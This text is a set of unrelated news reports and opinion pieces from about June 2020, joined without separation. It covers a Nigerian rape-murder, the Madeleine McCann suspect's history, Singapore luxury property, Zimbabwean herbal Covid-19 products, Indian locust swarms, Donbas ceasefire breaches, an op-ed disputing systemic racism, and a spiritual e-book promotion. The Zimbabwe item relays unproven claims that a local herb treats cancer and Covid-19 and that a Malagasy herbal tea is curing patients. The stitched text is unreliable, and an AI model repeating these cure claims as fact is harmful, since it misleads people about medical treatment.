Residents of the area told our correspondent that a stone used to kill Ms Shomuyiwa was found beside her bed with blood covering her body.

The girl was raped and killed. As of this morning, police came to the place to arrest some people they suspected, one resident said asking not to be named.

Another resident of the community, Aduwo Ayodele, told PREMIUM TIMES that A bad incident happened in my community today. The lady was raped and Nigerian police force came to the place.

When contacted, the Oyo Stats police spokesperson, Olugbenga Fadeyi, said the victim was murdered but there was no evidence of rape.

Truly, the matter happened but it was not rape. She was attacked with stone on her head and left to die, he said. The police commiserated with the family

Mr Fadeyi told PREMIUM TIMES that the commissioner of police was there with top officials of the security force.

The commissioner already asked the deputy commissioner of police to take up the matter for proper investigation.

READ ALSO:

Ms Shomuyiwas case happened barely 48 hours after 18-year-old Barakat Bello was gang-raped and murdered by unknown assailants in the same Ibadan.

Ms Bello was a student of Department of Science Laboratory Technology (SLT), Federal College of Animal Health and Production in Ibadan, the Oyo State capital.

It also occurs days after a female undergraduate of the University of Benin, Vera Omozuwa, died in a hospital after she was allegedly raped and assaulted in a church premises in Benin, the Edo State capital.

Activists have been calling on Nigeria authorities to deal more effectively with rapists through the strict enforcement of existing laws and promulgation of tougher sanctions.

On Friday, a coalition of civil society organisations and human rights activists held peaceful protests in the Federal Capital Territory and Lagos demanding a state of emergency to be declared on Gender-Based Violence (GBV) in Nigeria.

The protest which took place at the police headquarters in both cities followed a perceived rise in the number of rape cases in Nigeria including the recent deaths of two rape victims.
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The new suspect in the Madeleine McCann case was given up by his mother at birth and began abusing children as a teenager when he molested a six-year-old in a public playground, it was revealed today.

Christian Brueckner was 17 in 1994 when he attacked the little girl in his home town of Wurzburg, Bavaria - and he only stopped groping her when she started screaming and crying.

But he is also said to have 'dropped his trousers' at a nine-year-old boy before fleeing the scene, according to German tabloid Bild.

Born in Bavaria in 1976, he was born Christian Fischer but was given up by his birth mother and placed in a children's home in Wuerzburg and was adopted by the Brueckner family as a baby, taking their name.

But he descended into a life of crime as a young teenager, and was convicted of his first burglary in his home town of Wurzburg in 1992, when he was 15.

Within two years, the warped teenager had progressed to sexually abusing a child, with the playground attack earning him a two-year youth sentence, of which he served only a part.

Christian Brueckner, pictured with a friend in 2011, was adopted as a baby after being given up by his birth mother and began abusing children as a teenager

Christian Brueckner (picutred left) left Portugal after then three-year-old Madeline McCann (pictured right) disappeared on May 3, 2007

As a young man, Brueckner had dreamed of emigrating with his girlfriend of the time, and when he turned 18 - with a fresh driver's license, and a series of court hearings still pending - he took off to Portugal with his German girlfriend, and the Algarve town of Lagos, said Germany's Bild newspaper, which quoted him as having said: 'We didn't know anything about Portugal. We went to Lagos because we liked the name so much. We had a tent with us and camped in the wild.'

He eventually settled in Praia da Luz, the picturesque resort where the McCanns chose to take their three children on holiday.

For 12 years he lived there, telling family he was working as a caterer and odd-job man, when in fact he was dealing cannabis, trafficking drugs and burgling holiday homes and hotel rooms.

He was briefly locked up for diesel theft, and is also said to have traded passports and stolen goods.

He lived in Praia da Luz in a somewhat dilapidated and remote house accessed by a dirt road. 'In terms of furnishings, it was a typical bachelor's apartment,' said one acquaintance.

After a decade on the Algarve, perverted 6-foot Brueckner burgled a 72-year-old American widow - and subjected her to a hideous sexual assault.

He broke into her villa near Praia da Luz brandishing a 30cm 'sabre', according to evidence at a court that eventually convicted him.

He beat her, tied her up, gagged and blindfolded her, before carrying out a degrading rape which he videotaped, the court in Braunschweig, Germany, heard. On the video, he finished by ripping off his own mask, a witness told the court.

His victim told investigators: 'I felt that he enjoyed torturing me.' At the time, Brueckner lived in a rented whitewashed villa on a remote hillside along a footpath that runs from above the beach where Madeleine and her family played during their week's holiday.

Neighbours described him as an 'angry' car dealer, who sped along country roads, and saying that when he vanished he left a collection of wigs, fancy dress and exotic clothing.

Brueckner left Portugal after Madeline disappeared on May 3, 2007. The previous month, he had moved out of the villa and into a VW Westfalia campervan which police have now linked to Madeleine's disappearance.

He also kept his prized 1993 Jaguar XJR6 with its German number plate. Yet the day after she vanished, he re-registered the classic British car to another person, although he was still driving it, Scotland Yard has said.

This is Christian Brueckner's home in Braunschweig near Hanover, where he had lived before he fled to Italy and was arrested over the rape of an American in Praia da Luz

Augsburg resident Alexander Bischof has told how he befriended Maddie McCann suspect Christian Brueckner after being introduced by a mutual friend in around 2007 or 2008.

'This is still unimaginable,' says Bischof who says he met him 12 or 13 years ago. 'He said he needed help and was looking for an apartment in Augsburg.

He was driving a Jaguar, which he bought from the mutual acquaintance. 'Because I'm also a Jaguar lover, we had a topic of conversation right away,' says Bischof.

At one point he offered Brueckner the opportunity to stay with him and his wife if he wanted to.

'He gave me his Jaguar - but he never mentioned Maddie', says friend who let Christian Brueckner live in his attic after he fled Praia da Luz A friend of Christian Brueckner let him live in his attic just after he fled Praia da Luz, and even looked after the Jaguar at the centre of the Madeleine McCann probe, it was revealed today. 'This is still unimaginable,' said Augsburg resident Alexander Bischof, who says he met him 12 or 13 years ago. 'He said he needed help and was looking for an apartment in Augsburg'. He was driving a Jaguar, which he bought from the mutual acquaintance. 'Because I'm also a Jaguar lover, we had a topic of conversation right away,' says Bischof. At one point he offered Brueckner the opportunity to stay with him and his wife if he wanted to. He said Brueckner was 'often underway - sometimes he traveled to Portugal, sometimes to Sylt, to Munich. In between, he spent nights sleeping in my attic.' Otherwise, he stayed in his VW bus. Most of the time he went to Portugal, where he is said to have had a girlfriend. Once he took them into Augsuburg to meet his girlfriend where they spoke to each other in English. 'At some point I reached the conclusion that he was involved with drugs,' he added, and was in prison in Portugal for two or three months, during which time he handed over the Jaguar car to him. 'When he came out, he was back here quickly, I didn't know more at the time,' he says. Later, he gave the car over to an acquaintance in Munich. 'He always made surprisingly quick decisions,' he added. After some time Bishop distanced himself from Brueckner. 'He uses my living quarters and he's involved with drugs - I couldn't handle that,' he said. 'I thought I couldn't do that,' Bishop said. 'After a few years the law stood at my door. The police wanted to search the living quarters where he had stayed.' At that time he learned that he had 'some things in his past.' He did not know what. Only that it would be a 'capital crime'. During a re-interrogation, the officials mentioned the name 'Maddie'. When Bishop first heard about the murder allegations he was shocked. He said; 'We never talked about young children, our conversations were about cars, football and Portugal, men's stuff.' Advertisement

He said Brueckner was 'often underway - sometimes he traveled to Portugal, sometimes to Sylt, to Munich. In between, he spent nights sleeping in my attic.'

Otherwise, he stayed in his VW bus. Most of the time he went to Portugal, where he is said to have had a girlfriend. Once he took them into Augsuburg to meet his girlfriend where they spoke to each other in English.

'At some point I reached the conclusion that he was involved with drugs,' he added, and was in prison in Portugal for two or three months, during which time he handed over the Jagguar car to him.

'When he came out, he was back here quickly, I didn't know more at the time,' he says. Later, he gave the car over to an acquaintance in Munich. 'He always made surprisingly quick decisions,' he added.

After some time Bishop distanced himself from Brueckner. 'He uses my living quarters and he's involved with drugs - I couldn't handle that,' he said.

'I thought I couldn't do that,' Bishop said. 'After a few years the law stood at my door. The police wanted to search the living quarters where he had stayed.'

At that time he learned that he had 'some things in his past.' He did not know what. Only that it would be a 'capital crime'. During a re-interrogation, the officials mentioned the name 'Maddie'.

When Bishop first heard about the murder allegations he was shocked.

He said; 'We never talked about young children, our conversations were about cars, football and Portugal, men's stuff.'

Back in Germany, rather than keeping his head down, Brueckner continued stealing and drug dealing. By October 2011, the district court in Niebull, Schleswig-Holstein, in northern Germany, had sentenced him to 'imprisonment of narcotics in large quantities' for one year and nine months. The sentence was initially suspended.

By 2014, Brueckner was living in Braunschweig, near Hanover, where he boasted to friends he had opened a local shop. He claimed he worked from seven in the morning until midnight but the business, along with his relationship, failed and he began to hit the bottle and live on benefits.

German TV station RTL.DE interviewed a friend of Bruekner's who met him in Braunschweig, and is believed to have lived above his shop.

Norbert M, whose name was changed by the TV station, said: 'You couldn't tell what made him tick.'

Norbert claimed his former friend was in debt to many people and was running a kiosk in the town.

The witness claimed Bruekner had an underage Kosovan girlfriend, though he had never seen the suspect with young children. He is alleged to have beaten her.

He said: 'I heard that he left the kiosk and then went to Portugal or Spain with a girl. He then left dogs in his kiosk for weeks.

'I can imagine that he is behind the disappearance of Maddie.'

His twisted obsession with child pornography caught up with him and, in 2016, he was sentenced by a district court there to one year and three months' imprisonment for 'sexually abusing a child in the act of procuring himself and possessing child pornography.'

After his bar-room claims to a friend about Madeleine, on the tenth anniversary in May 2017, Brueckner appears to have returned to the Algarve, but within a month he was arrested there under a European Arrest Warrant and extradited back to Germany.

Brueckner is currently behind bars in Germany serving 21 months for dealing drugs. While he was in prison last December he was also found guilty of raping a 72-year-old American tourist in Praia da Luz just 18 months before Madeleine disappeared.

The seven-year jail term for this conviction will not start until his appeal has been heard.

His legal battle with the German authorities over the rape case means he could walk free within days having served two-thirds of his drugs sentence in Kiel prison, Schleswig-Holstein, according to the German newspaper Frankfurter Rundschau.

The paedophile was arrested while living on the streets of Milan in late 2018 on a European Arrest Warrant over the Algarve rape of the 72-year-old American. He was brought back to Germany and charged in August 2019.

A month earlier he was convicted of drug dealing in the German resort of Sylt and handed the 21-month term he is currently serving.

In December 2019 a court in Braunschweig, where he had lived before fleeing to Italy, convicted him of the rape because DNA from his hair was found in the woman's holiday home - making it a 244billion to one chance it was not him, the judge was told.

But he is appealing the rape verdict on the grounds his extradition from Italy was illegal with Germany's Federal High Court due to rule on the case, and if they find against him he will then start his seven-year sentence. German legal experts said last night that his appeal means he is on the verge of getting parole and could get his freedom as early as Sunday.

He also ran this corner shop in Braunschweig, where the tenant living above it described him as violent at revealed that he had an underage Kosovan girlfriend
SINGAPORE (EDGEPROP) - Global nomads who have been grounded during the lockdown are looking forward to Singapores green lanes or Covid-19 safe air corridor. Once travel resumes, activity will return, says Jacqueline Wong, executive director and head of The Private Office at Savills Singapore.



Wong: Those who have already landed in Singapore are shopping for good deals. And by this, they mean distressed sales, where prices have fallen by at least 30% from a year ago (Photo: Samuel Isaac Chua/EdgeProp Singapore)

A handful of Wongs ultra-rich foreign clients had been on the hunt for real estate investments in Singapore earlier this year. However, activity stalled due to the Covid-19 pandemic as well as travel restrictions and lockdowns that ensued. Face-to-face meetings between realtors and their clients is still disallowed from June 2 (after a two-month long circuit breaker from April 7 to June 1), except at the point of signing contracts. Even then, the meeting has to take place at the realtors office. Things have therefore been put on pause, says Wong.

In her books, ultra-high net worth individuals are those with at least US$20 million ($28.1 million) in assets. Those who have already landed in Singapore are shopping for good deals, says Wong. And by this, they mean distressed sales, where prices have fallen by at least 30% from a year ago.

Those that have yet to land in Singapore are shopping for a home. And they tend to have a long-term view, with at least a 10-year time frame. For such buyers, their requirements have not changed: they still want a property that is at least 3,500 sq ft in size, has four or five bedrooms, space to entertain that is separate from their private living area, a home office, and separate quarters for the help staff. Covid-19 hasnt changed those requirements, notes Wong.



Sought-after residential enclaves include Ardmore Park, the Claymore-Draycott area and the Nassim neighbourhood (Photo: Samuel Isaac Chua/EdgeProp Singapore)

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Units of these sizes can only be found in older private condominiums in the prime districts, provided they have not become victims of en-bloc sales. Sought-after residential enclaves include Ardmore Park, the Claymore-Draycott area and the Nassim neighbourhood. However, these properties tend to be older, and built in the 80s to 90s, with some even in the 70s, says Wong. For those who prefer new developments, they will have to compromise in terms of size as the units tend to be smaller. So theres a trade-off, she adds.

Wongs call of duty however, has extended beyond real estate and into the realm of concierge service: sometimes, it could be to arrange for a private jet, or making a reservation at an exclusive restaurant or club.

Such carte blanche service began five years ago when some of Wongs ultra-rich clients asked her to handle the investment and divestment of their real estate assets. These included being tasked to sell a US$40-million boutique vineyard in Napa Valley, California; sourcing for an island in Asia; and handling a portfolio of luxury penthouses in Singapores Core Central Region (CCR). Her clients are international and they include those from Hong Kong, Indonesia, South Korea, Europe, London and the US.



The boutique vineyard in Napa Valley, California that Savills Singapore's Private Office is marketing at US$40 million (Photo: The Private Office,Savills Singapore)

Launch of The Private Office in Singapore

Two years ago, Wong was appointed the head of what is now known as The Private Office in Savills Singapore. The inception is in line with the global Private Office, set up by David Forbes in 2007 when he joined Savills in London, UK. In keeping with the global Private Office in London, the one in Singapore also courts the ultra-rich with discretion and tact, says Wong. Clients include both ultra high networth individuals and family offices.

Private Office is not just about real estate, continues Wong. We offer a suite of services. In addition to real estate services, we also help our clients with wealth management. We do cross-border deals in different asset classes and whether it is hotel, serviced apartments, office buildings or shophouses, we will use our network as a conduit to find what they want.

Wong says her range of services include finding a personal butler, chef, nanny or housekeeper. So its quite far-reaching, she adds. In time to come, many of the ultra-rich would require full concierge service, like those in luxury hotels. This role requires new skills and people who know how to be very discreet, she adds.



During the circuit breaker period, many realtors and property developers resorted to virtual property tours and marketing via social media, such as Zoom or Facebook Live (Photo: Samuel Isaac Chua/EdgeProp Singapore)

Besides the Private Office, her purview at Savills Singapore encompasses corporate leasing, local and international sales portfolios. Prior to joining Savills in 2013, Wong spent nine years with JLL where she headed the corporate leasing as well as both local and international sales business units.

During the circuit breaker period, many realtors and property developers resorted to virtual property tours and marketing via social media, such as Zoom or Facebook Live. Whether its a property for lease or for sale, the potential tenant or buyer will want to visit the actual property, says Wong. They want to be able to feel the vibe when they walk into the home. You cant replicate that in a virtual tour.

In Phase One of the reopening of Singapores economy, no viewings of properties are allowed, even if a property is vacant, according to the Council of Estate Agencies.

Most of the buyers are unlikely to rush into a purchase, notes Wong. The decision making process is likely to drag out from three months up to 18 months, she adds. The additional buyers stamp duty (ABSD) for foreign buyers at 20% is hefty too, and there is still the sellers stamp duty (SSD) for the first three years, which acts as another deterrent.



When there is social unrest elsewhere in the region, Singapore is deemed to be a safe haven, notes Wong (Photo: Samuel Isaac Chua/EdgeProp Singapore)

Tidal wave when businesses normalise

When there is social unrest elsewhere in the region, Singapore is deemed to be a safe haven, notes Wong. The protests in Hong Kong, which started last year, were temporarily curtailed by the Covid-19 outbreak. However, the unrest has resumed and intensified in the past weeks with Chinas introduction of the Security Law in Hong Kong.

I think we could see some inflow of funds into Singapore, which may result in property purchases, says Norman Ho, senior partner, corporate real estate, Rajah & Tann Singapore. There has always been a good flow of wealth into Singapore over the years and Singapore is a favoured city (besides Hong Kong) as it is close to China and has a Mandarin-speaking population.

Most companies with regional headquarters in Hong Kong already have a presence in Singapore even before the Handover in 1997. Certainly, the situation there will make many more consider moving here and purchasing homes, points out Ho.



In 1Q2020, there was a rush of leasing activity when travel restrictions due to Covid-19 were imposed as some of the expatriates who were supposed to leave Singapore, had to extend their leases instead (Photo: Samuel Isaac Chua/EdgeProp Singapore)

In 1Q2020, there was a rush of leasing activity when travel restrictions due to Covid-19 were imposed as some of the expatriates who were supposed to leave Singapore, had to extend their leases instead, notes Wong. On the other hand, inbound expatriates have been suspended  these are the ones with a job waiting in Singapore but they cant fly in because of travel restrictions, she says. There are at least 50 such expats caught in this situation. Another 100 are waiting to enter Singapore from July, and they have been hired by a multinational company to work on a project basis, adds Wong.

With the government introducing green lanes or travel bubbles, the leasing volume will start to creep up again, she reckons. Due to businesses being affected by Covid-19 lockdown, some expatriates have had their salaries cut or have switched to local terms. Hence, there have been some requests for rental adjustments of 13%, or $500 at most, notes Wong.

However, she expects businesses to normalise by 1H2021. We will see pending relocations flow through and it will be extremely busy then, she adds. It is likely to be a tidal wave rather than a slow trickle. This is because many people want to come in as soon as possible once they get the green light to travel.

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THE University of Zimbabwe (UZ) has developed a range of medical products using a local herb with antiviral properties, currently on clinical trials, to assist in the fight against the deadly coronavirus (Covid-19), the Daily News reports.





This comes as a concoction known as Covid Organics (CVO), a form of herbal tea made from the Artemisia annua plant, is reportedly curing Covid-19 patients in Madagascar and has been exported to various African countries, including Tanzania, Nigeria, Senegal and Chad.





In an interview with the Daily News on Wednesday, UZs Pharmacy Department associate professor Lameck Chagonda said through the support of the Higher and Tertiary Education and Health ministries, the university had developed a range of products from the Artemisia afra herb, locally known as zumbani.





The zumbani or Artemisia afra is known to be able to treat hypertension, diabetes, cardiovascular related diseases, inflammation, coughs, cancer, and to have anti-viral properties. There is a lot of literature to demonstrate that it has those capabilities.





So, in line with our heritage-based traditional use of local herbs and education 5.0, we have engaged the university and other authorities in trying to come up with guidelines for the study of traditional medicines in Zimbabwe, Chagonda said.





Here we have a process that we have carried out to add value to the traditional herb so that we can use it in fighting the coronavirus. With this plant, we have produced an oil which can be used as cough mixture and grounded powder which can be used in tea. We also made an anti-viral cream so that when Covid-19 is on your hands or body you just cream up.





We have also put it in soap so that when people wash their hands the residue which remains on the body is also anti-viral, and we have made a spray which you can spray into your mouth and sanitise the mouth and tablets. Through the ministry of Higher and Tertiary Education and the ministry of Health we have put the products on clinical trials so that we can grow the herb at a large scale, Chagonda added.





UZ vice chancellor Paul Mapfumo said the university would soon announce new programmes in line with promoting research, industrialisation and innovation.





The new programmes will cover science, engineering, health, humanities and critical areas of agriculture as well as construction, mining and industrial development. These programmes are now driven by the strategy which we have developed as a university, Mapfumo said.




India might face another attack of crop-munching desert locusts in July, the Food and Agriculture Organization of United Nations (FAO) has warned amid an ongoing outbreak that has prompted the Centre to issue a warning to 16 states, including the worst-affected Rajasthan and Madhya Pradesh.

In its situation update on Thursday, FAO said early migration of spring-bred locust swarms from southwest Pakistan to Rajasthan occurred in May before the monsoon, and some swarms travelled to northern states for the first time since 1962.

While the swarms will oscillate east and westwards before returning to lay eggs with the onset of the monsoon in Rajasthans deserts, successive waves of swarms will arrive from southern Iran in June and the Horn of Africa peninsula in July, according to FAO.

According to experts, the swarms causing the present outbreak and chomping through vegetation across farmlands in Punjab, Madhya Pradesh, Maharashtra, Gujarat, Uttar Pradesh and Chhattisgarh entered India from Pakistan in April. The existing swarms too came from Horn of Africa.

In East Africa, second-generation breeding is underway in northwest Kenya and numerous hopper bands have formed that will give rise to immature swarms from the second week of June until at least mid-July.

A similar situation is underway in Somalia and Ethiopia. Most of the new swarms will migrate northwards from Kenya to Ethiopia and traverse South Sudan to Sudan after mid-June while other swarms will move to northern Ethiopia. Swarms that reach northeast Somalia are likely to migrate across the northern Indian Ocean to the Indo-Pakistan border area, FAO said.

Locusts can fly up to 150km in a day and a one-square-kilometre swarm can eat as much food as 35,000 people.

KL Gurjar, the Indian governments Locust Warning Organization (LWO), said many villages in Barmer and Jodhpur districts in Rajasthan continued witnessing locust attacks. Locusts have been controlled in 65,000-hectare area, he said, adding that there has been no new swarm of locusts for the last four days in the state.

...some adult groups and swarms are expected to arrive in India from the spring-breeding areas (such as Iran and Pakistan). Therefore, vigilance will continue for expected invasion of locust in coming days, he said.

LWO, a federal agency to monitor and control the gregarious pests, said Madhya Pradesh and Rajasthan are likely to see the use of helicopters to control the situation.

Drones, fire tenders and tractors have been already used to spray chemicals on locusts when they settle over trees at night. But since the problem is persisting and the kharif season is about to begin, the government is considering pulling out all the stops.

We will use helicopters too to control locusts wherever these insects are moving in large numbers, Gurjar said. We are in the process (of getting the choppers for the same).

Locust presence was seen in parts of Vindhya, Bundelkhand and Gwalior-Chambal regions of Madhya Pradesh on Friday. In Rajasthan, places such as Barmer, Pali, Jodhpur, Jalore, Nagaur and Bikaner reported locust swarms.
On June 4, illegal armed formations of the Russian Federation breached the ceasefire in Donbas 14 times. The Ukrainian troops observed an extensive use of Minsk-banned weapons. This was mentioned in the message of Ukraine's Defense Ministry.

The enemy used 120 mm mortars and anti-tank missile launchers, as well as grenade launchers, heavy machine guns and small arms.

Ceasefire violations took place in Krasnohorivka, Bohdanivka, Chermalyk, Pavlopil, Avdiivka, Kamyanka (Donetsk region), Novoluhanske, Orikhove and Novhorodske (Luhansk region).

None of Ukrainian military staff sustained any injuries in these attacks.

131 staff members of Ukraine's Armed Forces have got infected with coronavirus since the disease reached the country. The Command of Medical Forces of the Ukrainian military reported that on June 4. Four people have died since the beginning of the epidemic. 128 workers managed to recover. On June 3, ten new cases were confirmed. As of June 4, 500 people remain in isolation. Over the next three days, 76 are supposed to leave the isolation area.

Watch our video digest about the top events in Ukraine in May 2020:
If youre going to champion a cause, have the good grace or basic intelligence to push one that is not so easily undermined by reality... like systemic racism. At last check, were more than 50 years removed from colored-only anything; television commercials would have us believe that inter-racial couples are the rule today; and, diversity/inclusion is a lucrative industry and thats on top of affirmative action. In short, there has never been a better time to be black in America. Until a few months ago, there was never a better time to be black and employed in America.

Then came the death of George Floyd, which was universally condemned. That point cannot be repeated often enough. No one supported the officer whose name wont be mentioned here. In the ensuing outcry over Floyds death, however, many more black men were killed, by the people doing the protesting. These further black deaths have largely gone ignored because they cannot be squared with claim of systemic racism -- they cannot be rationalized at all. Forget the concept of all lives matter; its apparent that not even all black lives matter. Unless a cop is involved and facts dont matter then, either.

Not only is systemic racism grossly inaccurate, so is the claim that law enforcement officers seek out and target black citizens. No one told Tony Timpa that being white carried special privileges when he encountered cops. Or Daniel Shaver. In fact, the Shaver case was so egregious even the Atlantic couldnt ignore it and to publications credit, it also noticed the elephant in the living room:

The case hasnt attracted the higher degree of attention from the press, the public, or policing-reform activists, partly because. the cop and the dead man were both white, rendering the killing less controversial than one possibly animated by racism.

Less controversial... A cute euphemism for not politically expedient. As for the underlying claim of disparate treatment of minorities by law enforcement, a study from Michigan State published last year reports that the mythology of racist cops does not match the reality. It doesnt even come close. If anything, black citizens are more likely to be shot by cops who are black, and if there is a causal link, its the volume of violent crime that occurs in any jurisdiction. Simply put, more crime usually equals more shootings. And yet, the talking point of systemic racism has taken hold like a prairie fire that refuses to be doused by any volume of contrary facts or evidence.

At the same time, a combination of self-flagellation and self-congratulations is emanating from white leftists eager to atone, or give the appearance of atoning, for their lack of melanin while also getting their woke on, as if there is a contest to see who can preen the loudest. Its what a friend of mine terms pathological altruism, the paternalistic conceit of the left that is built on the belief that black people can only advance and succeed when guided by the benevolent hand of progressive America.

This mindset not only ignores the blacks who do just fine without these would-be masters, it parades the helped group as mascots to be forever reminded that their lives are only possible due to the tireless effort of their white benefactors. It is an overlay of weapons-grade condescension atop the stench of rank bigotry. Because what else can it be but bigotry when the pathological altruist essentially says youre nothing without me to the minority individual while claiming theyre as good as anyone else to the rest of us.

For an ever-so-brief moment, there was something on which we all agreed: the cops in Minneapolis were in the wrong. Unity, of course, is offensive to many in the political and pundit class, so the cohesion had to be ripped asunder and few things create division as effectively as race. Was that even a factor here? Maybe, but given the number of complaints against this officer, it is plausible that color doesnt even register with him, that he is a sociopath with a badge and gun, and woe unto the person who falls within his crosshairs. Which speaks to an actual problem, that of far too many law enforcement agencies protecting officers who do not deserve it.

For several years now, the Washington Post has kept a running database of fatal force incidents involving lawmen and civilians. The numbers are available in literal black and white for any interested party to peruse. About half of the people shot and killed are white, but the proportion of blacks relative to total population is higher.

There are two other factors that are often sidestepped: the incidents that generate publicity tend to occur in blue cities where unfettered Democrat rule has been the norm for decades. Secondly, when the elected class passes one law after another, someone has to enforce the rules. In 2016, after five of his officers were killed as Black Lives Matter was announcing its presence, the Dallas police chief noted that societal failures from bad schools to single-parent homes to inadequate mental health are dumped in the laps of cops. When the number of interactions between cops and citizens increases, and in tense situations, the odds of an interaction ending badly also rises. Yet, the same people behind the laws, the policies, and the increased contact keep being re-elected.

The reality is that there are genuine issues to address: too many laws, one-party rule that kills any incentive for change among the political class, and the blue wall that instantly surrounds any cop found in a tight spot. We all understand the presumption of innocence, but that depends on the evidence at hand and too often, it appears rogue cops go unpunished. Each of these factors is color-blind, which may be the ultimate problem. It hints at a unity of purpose among different people, and there are too many whose power rests in perpetuating division.
[June 05, 2020] 'Mysteries About the Soul' Demystified in the E-book Soul by AiR

BANGALORE, June 5, 2020 /PRNewswire/ -- AiR's e-book titled Soul - We don't have a Soul...We are the Soul! unravels the mystery that surrounds the Soul. Various religions all over the world and famous philosophers of the past and present have advocated different views about it but the whole concept of the Soul remains an enigma. The myth of the Soul is one of the greatest mysteries in the world. People are unsure about the existence and reincarnation of the Soul. These questions have many speculations, but till date, they have not been demystified. This book will open one's eyes as it questions every aspect of the Soul. The book delves deep into history and gives an account of various popular beliefs about the Soul like 'Soul hunting', 'good' Souls and 'bad' Souls, dual nature of Soul, three parts of the Spirit, tangible and intangible Soul, and hierarchical levels of natural beings having three different degrees of Soul, and celebration of festivals related to Soul like Halloween, etc. while making an effort to explain the truth about the most important aspect  our Soul. It says that not everybody can realize the truth but some may investigate the Soul and arrive at several possibilities of what might be the truth. Then, a few sincere seekers of the truth, may do some Soul-searching and realize the Soul. "Are we the body? Are we the mind? Or are we the Soul? It's sad, we don't know who we are; let's make this our Life's Goal," comments AiR. The mission of the book is to help people overcome their ignorance and realize the truth about the Soul so that they can be liberated from the triple suffering of the body, mind, and ego. AiR says, "Just like the ring, the bracelet and the chain are nothing but gold, we too are nothing but the Soul. Just like gold is the cause, the Soulis our cause. Just like ornaments are effects, we too are mere effects. If we remove the cause, there is nothing left. It is the power of the Soul that makes man conscious of who he is. It lets man remain awake with body and mind and it is this very Soul that lets the body sleep as it continues to power the mind as it dreams subconsciously. The moment the Soul departs, man loses all his power. He loses his power to be conscious, awake, and aware. Without the Soul, man becomes nothing. Man has been unable to discover the power of the Soul. Without the power of the Soul, our muscles, our joints, our bones would be lifeless and incapable of any movement. We walk and talk, we sing and play, all because of the power within. The Soul is a Power, not the ego, body or mind, Not just the heartbeat, it's in every cell we find."



The free E-book can be downloaded from AiR website: https://bit.ly/soulEbookbyAiR Book Name: Soul- We don't have a Soul...We are the Soul!

About the author  AiR (www.air.ind.in) AiR - Atman or the Soul in Ravi, is an embodied Soul whose only mission in life is to help people realize the Truth. He was born in Bangalore on October 15, 1966. As a part of the humanitarian initiative (www.airhumanitarianhomes.org), a charitable hospital and charitable homes were set up. Today, over 600 homeless and suffering people are served and cared for in our destitute homes and provided with free shelter, food, clothing, and medical care. A Shiva Temple (www.shivohamshivatemple.org ) was built in the year 1995 in Bangalore which is now known as the Shivoham Shiva Temple. AiR now believes that religion is just a kindergarten to Spirituality, and we all have to go beyond religion to truly realize God. One day, his Guru provoked him to introspect: What is the purpose of life? Is life just meant to seek pleasures and to live and die without any purpose? What happens after death? Will we be reborn? Where is God? Several questions like these took him on a quest, a search for the Truth. He gave up his life of Achievement and Fulfilment in search of the final peak of life: Enlightenment. After a few years of intense search in retreat, deep in the mountains, he realized that we are not this body or mind but the Divine Soul, the Atman. He metamorphosed to AiR - Atman in Ravi and gave up his entire life as RVM and started living as an instrument of God doing 'His Divine Will'. AiR has dedicated his life to helping people realize the Truth. With AiR's own Realization, he has authored several books, composed bhajans, blogs, quotes, poems and taken up several other initiatives that can direct people towards the Truth and eradicate the ignorance that they live in. His vision, now, is to help people to Ask, Investigate, and Realize the Truth. Media Contact:

Ms Pushpa B

Managing Trustee

[email protected]

Phone: +91-9845000600

AiR Institute of Realization Photo: https://mma.prnewswire.com/media/1177129/Soul_Ebook_by_AiR.jpg

Logo: https://mma.prnewswire.com/media/997558/AiR_Logo.jpg

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"That nine minutes, it meant a lot," said Tatiana Mason, 17 of Lansing, who lays down on her chest with her hands behind her back at the Michigan state capitol steps to remember George Floyd. "In that nine minutes, those cops could've helped him. He laid their lifeless, pleading. I think about me, what if I'm calling to my mom and my dad and (there is) nothing they can do because that cop knows that they're taking my life away, they know they are taking me away from my family. Its not right and we need to do better." Mason joined hundreds of others during a nine-minute demonstration and protest police brutality on Sunday, May 31, 2020 in Lansing. "It makes me feel like we can get better," Mason said. "No violence, no burning things. Just using our voices to communicate with each other, bond together. It will make a difference. We need to stand together." (Jake May | MLive.com)The Flint Journal, MLive.com
Edith Chibhamu

The abrupt announcement of the lockdown came as a shock to many and various civil society actors were caught unprepared. Though the measures by the government to implement lockdown are necessary, the average person on the streets of Harare is suffering and sleeping on an empty stomach due to lack of enough resources. There are serious negative consequences from the current Covid-19 shutdown which include mental instability, hunger, domestic violence and less production on the economy. Moreover, street kids are unfortunately at the negative receiving end of all this turmoil.

In Zimbabwe more than 1.6 million children are orphans and thousands of them are leashing onto the streets every year in search of greener pastures. Towns and cities have become the home of many forgotten children.

During the Angels for life foundation rounds, I was alerted of many children sleeping on the pavements of the streets of Harare, slowly dying of hunger. Our inability as people has snatched all hope away from these little kids. They lack basic commodities like food and water or even same few blankets and jackets to harbour themselves from this Junes freezing cold.

Homeless people and street kids should be made a priority in our nation, not only on the basis of the governments responsibility but by our means of reviving humanity.

Paying a closer look on how the police is daily chasing people away from public places. This simply means that the street kids and other homeless people have no access to finding part-time jobs or beg for some money to redeem them for the time being. I fear we will burry more people from hunger and starvation than from the actual pandemic cause.

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I do understand and appreciate the efforts of free Aid that has been going on from the government, as well as many other foundations but, we can all agree that a lot still need to be done. Policies to help these innocent kids should be immediately implemented before much harm is caused. Lets help each other rise, together WE CAN.

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Facebook shuts down 500 Mom Strong for speaking out against Drag Queen Story Hour

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Facebook has shut down a social media group organized for mothers who are opposed to drag queen story hours at local libraries.

The social media giant removed the group 500 Mom Strong because it was deemed "transphobic" and in violation of Facebook's "community standards." 500 Mom Strong is based in Spokane, Washington, and was founded by Anna Hall Bohach, an activist who has long argued that drag is a misogynistic display and is tantamount to the grooming of young children.

Bohach told The Christian Post in an email on Thursday that she has been dealing with these kinds of bans for some time now, the latest of which happened Monday, and that Facebook representatives are not answering her questions. Facebook did send her a message saying that her page was removed for violating community standards and that policies were in place "to protect against recidivist behavior and do not allow people to set up new Pages that represent Pages that have already been removed from our platform."

"When I asked them about the half dozen other fake 500 Mom Strong pages that were put up by drag queens used to parody 500 Mom Strong, I received no answer and the pages are still active. There is also a fake profile, created by drag queens, using my name and information that has been reported multiple times by my friends and me that Facebook refuses to remove. I asked the Facebook representative about it and I still have yet to receive an answer," Bohach said.

Bohach added that she and her like-minded friends are regularly antagonized by the Facebook page 500 Drag Queen Strong  a page set up to counter her efforts  which continues to operate their page with impunity.

"They regularly publish anti-Christian and anti-woman rhetoric that Facebook refuses to take down. They use language such as "c**t" to describe me and other women and call us terrorists for objecting to transgender ideology. They report us to the police [for allegedly] making anti-trans posts. It is beyond ridiculous that our page would be removed when theirs is allowed to stay up."

The June 1 ban was the third time her page was removed.

